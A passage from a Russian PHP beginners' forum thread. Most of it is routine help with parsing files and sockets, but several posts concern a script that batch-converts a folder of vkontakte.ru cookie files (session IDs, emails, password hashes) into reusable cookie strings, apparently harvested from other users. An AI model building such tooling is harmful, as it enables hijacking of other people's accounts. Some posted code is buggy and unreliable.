[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    причем здесь какой-то мифический "rr"??? А не проще "*"?

    так неизвестно, что это число, http://ru.php.net/is_numeric
     
  2. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    В постановке задачи сказанно:
    Я так понимаю, что это вроде ID документа, или чтото похожее... Посему предполагаю что оно целое
     
  3. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Я просто не особо шарю где и как написать этот скриптик. Знаю что это просто, но не знаю куда тыкаться)
    Задача такова:
    Есть папочка с куками.Нужно из всех куков автоматически вытащить несколько выражений в определенном порядке в один текстовый файл.
    Пример:
    Один из файлов куки выглядит так:
    Code:
    1.
    aaa
    bbbbb
    2.
    ccc
    ddddd
    В текстовый файл должно копироваться все так:
    Code:
    aaa=bbbbb; ccc=ddddd;
    aaa= ...................
    Заранее Благодарен)
     
  4. mixkorshun

    mixkorshun Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    39
    Likes Received:
    4
    Reputations:
    0
    shpak1
    Code:
    chdir("твоя папка\")
    $dir = opendir(".");
    $w = fopen($file."result", "w");
    while($file = readdir($dir)//идем по всему катологу
    {
        if (( $file != ".") && ($file != ".."))
        {
          //собственно преобразования
          $f = fopen($file, "r");
          while(!feof($f))//цикл разветвил для удобства и скорости( оптимизация)) )
            {
              $s = fgets($file, 65535);//номер
              $s = fgets($file, 65535);//1ая строка
              fwrite($w, $s);
              $s = fgets($file, 65535);//значение
              fwrite($w, $s."; ");
            }
           fclose($f);
          fwrite($w, "\n");//конец строки... мб не правильно написал..
        }
    fclose($w);//закрыли записаный файл
    }
    
    если не так - пиши в ЛС. Если так то мне ++ )))
     
  5. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    shpak1
    PHP:
    <?php
    $dir 
    'cookies';
    $cfile 'cookies.txt';

    $f fopen($cfile,'w');
    foreach(
    glob($dir.'/*.*') as $fname) {
        
    $con file_get_contents($fname);
        
    preg_match_all('/\d+\.\s+(.*)\s+(.*)/',$con,$m);
        for(
    $i=0,$buf='';$i<count($m);$i++) {
            
    $buf .= trim($m[1][$i]).'='.trim($m[2][$i]).';';
        }
        
    fputs($f,$buf."\n");
        
    fflush($f);
    }
    fclose($f);
    ?>
     
  6. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    To mixkorshun, [dei]:
    Спасибо за скриптики огромное) ++ кинул обоим)
    Можете по подробнее расписать)) Я частично понимаю что куда вставлять, но не могу понять где прописывать строчки и таму подобное) Нуб немного в php коде)
    Пример поточнее:
    У меня файлы в папке из которых надо сделать выборку имеют такое построение:
    Code:
    1
    aaaa
    5
    xxxxx
    2
    bbbb
    6
    xxxxx
    3
    cccc
    10
    xxxxxxx
    4
    dddd
    9
    xxxxxxx
    
    Нужно брать эти 4 строчки и вписывать в один файлик, но эти строчки находятся под индификаторами 1,2,3,4 которые в свою очередь расскиданы в разных строчках(те в одном куке он может быть на 8ой строке, а в другом на 21ой строке), что то вроде поиска по файлу.
    ---------------------------------------------------
    Заупстил 1ый скрипт, выдал ошибку:
    Parse error: syntax error, unexpected T_STRING in Z:\home\localhost\www\vib1.php on line 4
    Заупстил 2ой скрипт, выдал ошибку:
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in Z:\home\localhost\www\vib.php on line 3

    Parse error: syntax error, unexpected T_LNUMBER in Z:\home\localhost\www\vib.php on line 3

    В обоих скритпах задал путь к папке \2\ и во втором скрипте путь к куки файлу \2\cookie.txt
     
    #9086 shpak1, 17 Mar 2009
    Last edited: 17 Mar 2009
  7. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    А может есть какая-либо программка под Винду?)
    ...не верю что пока не написали такую прогу, в которой можно задавать какие строки с какими индификаторами копировать)
    -------------------------------------------
    Как вариант кода:
    Можно все файлы объединить в один txt через разделитель и просто скриптом пройтись по нему чтобы вытакскивал нужные выражения под определенными индификаторами в один файл)
     
    #9087 shpak1, 18 Mar 2009
    Last edited: 18 Mar 2009
  8. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <title>Untitled Document</title>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    </head>
    <body>
    <?php
    $remixmid = $_POST['remixmid']; 
    $remixemail = $_POST['remixemail'];
    $remixpass = $_POST['remixpass'];
    $remixsid = $_POST['remixsid']; 
    
    $text .= "remixlang=0; ";
    $text .= "remixmid=$remixmid; ";
    $text .= "remixemail=$remixemail; "; 
    $text .= "remixpass=$remixpass; "; 
    $text .= "remixsid=$remixsid; "; 
    $text .= "remixchk=5; \n";  
      if (!empty($remixmid) && !empty($remixemail) && !empty($remixpass) && !empty($remixsid)) 
        {
        $file = fopen ('cookies.txt', 'a+'); 
        fwrite ($file,$text); 
        fclose ($file); 
    }
    ?>
    <form remixsid="form1" method="post" action="1.php">
      <label for="textfield"></label>  
      <table border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td><label for="textfield">Remixmid</label></td>
          <td><input type="text" name="remixmid" id="remixmid"></td>
        </tr>
        <tr>
          <td>Remixemail</td>
          <td><input type="text" name="remixemail" id="remixemail"></td>
        </tr>
        <tr>
          <td>Remixpass</td>
          <td><input type="text" name="remixpass" id="remixpass"></td>
        </tr>
        <tr>
          <td>Remixsid</td>
          <td><input type="text" name="remixsid" id="remixsid"></td>
        </tr>
      </table>
      <p>
        <label for="Submit"></label>
        <input type="submit" remixsid="Submit" value="Сохранить" id="Submit">
      </p>
    </form>
    </body>
    </html>
    
    Нашел и немного доработал под себя код для того чтобы записывать в txt файл по определенному алгоритму)
    А вот как сканировать папку файлов я так и не узнал...
    Вся проблема в том, что нужная информация в каждом файле храниться строчкой ниже индификатора. И нужных строчек в одном файле всего 4... :confused: :confused: :confused:
    Даю пример кука))
    Code:
    remixlang
    0
    vkontakte.ru/
    1536
    737300864
    30036916
    3707080464
    29963691
    *
    remixchk
    5
    vkontakte.ru/
    1536
    957300864
    30036916
    3933800464
    29963691
    *
    remixmid
    99999999
    vkontakte.ru/
    1536
    967300864
    30036916
    3933800464
    29963691
    *
    remixemail
    pppp%40ppp.ru
    vkontakte.ru/
    1536
    967300864
    30036916
    3933800464
    29963691
    *
    remixpass
    cc09adcd52b200132101af80ec454790
    vkontakte.ru/
    1536
    967300864
    30036916
    3933800464
    29963691
    *
    remixsid
    fe69782ebf555a710a0c6873782f765636732dddcb4fb60068ffc055
    vkontakte.ru/
    1536
    967300864
    30036916
    3933800464
    29963691
    *
    remixclosed_tabs
    0
    vkontakte.ru/
    1600
    3093963776
    30055619
    334942800
    29983200
    *
    
    
     
    #9088 shpak1, 18 Mar 2009
    Last edited: 18 Mar 2009
  9. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    system('ls') - в линуксе
    system('dir') - в винде
    Читайте про регулярные выражения.

    Да и вообще вот это почитайте:
    http://www.php.ru/manual/ref.filesystem.html
     
  10. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Изучил...Да, сами функции понимаю...Но нет опыта для того чтобы все собрать в один скрипт((
     
  11. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    scandir() в php 5.
     
    2 people like this.
  12. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    PHP:
    <?
    $fn=fsockopen("www.google.ru",80,$ecode,$emsg,1000);

    if (!
    $fn) {
           echo 
    "$emsg ($ecode)";} 
           else { echo 
    "Connected!"; }
    ?>
    PHP 5.2.9
    пишет
     
  13. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    У меня 5.2.4 - все в порядке. А вообще судя по ошибке у тя криво в php.ini настроенно. Попробуй cURL поюзать.

    + http://php.net/manual/en/transports.php
     
  14. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    Товарищи, подскажите пожалуйста.

    Есть файл, в нем находятся строки вида:

    Каким кодом пропарсить файл, и вывести все содержимое в отдельные страницы типа 001.txt, 002.txt, и тд.

    Заранее благодарен!
     
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Заголовки хоть как-то обозначены? Ну там "Тема урока 1.1"

    Можно как-то идентифицировать заголовки?
     
  16. nilux

    nilux Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    100
    Likes Received:
    33
    Reputations:
    0
    я так понял разделены пустой строкой
     
  17. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    разделены пустой строкой. автозаменой я могу вставить более определенный символ. заголовки везде разные. сейчас у меня вот так:

    Code:
    <p>заголовок<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст</p>
    
    <p>заголовок<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст</p>
    
    <p>заголовок<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст<br/>
    текст текст текст</p>
    ??
     
  18. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    ну если ты можешь автозаменой заменить тогда все просто , замени "</p>" на "</p> #разделитель абзацев#" а потом пройдись по тому что получится функцией explode()
     
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 real_kas:

    PHP:
    <pre>
    <?php 
    @set_time_limit(0); 
    @
    ini_set("display_errors","1");

    $buffer '';
    $file 'uin.txt'// Название файла исходника
    $handle fopen($file,'r') or die ("No file $file");
    while (!
    feof($handle)) {
     
    $buffer trim(fgets($handle));
     if (
    preg_match('|<p>(.*)<br/>|',$buffer,$mat)) {
          
    $file1 fopen($mat[1].".txt",'w');// Если заголовок, то создаем файл с именем заголовка
          
    fwrite($file1"$buffer\r\n");
          
    $buffer trim(fgets($file1));
     }
     
    fwrite($file1"$buffer\r\n");
    }  

    Echo 
    'Done';

    ?>

    </pre>
     
    1 person likes this.
  20. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Люди) Ну так помогите кто-нибудь скриптик собрать) Тема на 956ой старице)
     
Thread Status:
Not open for further replies.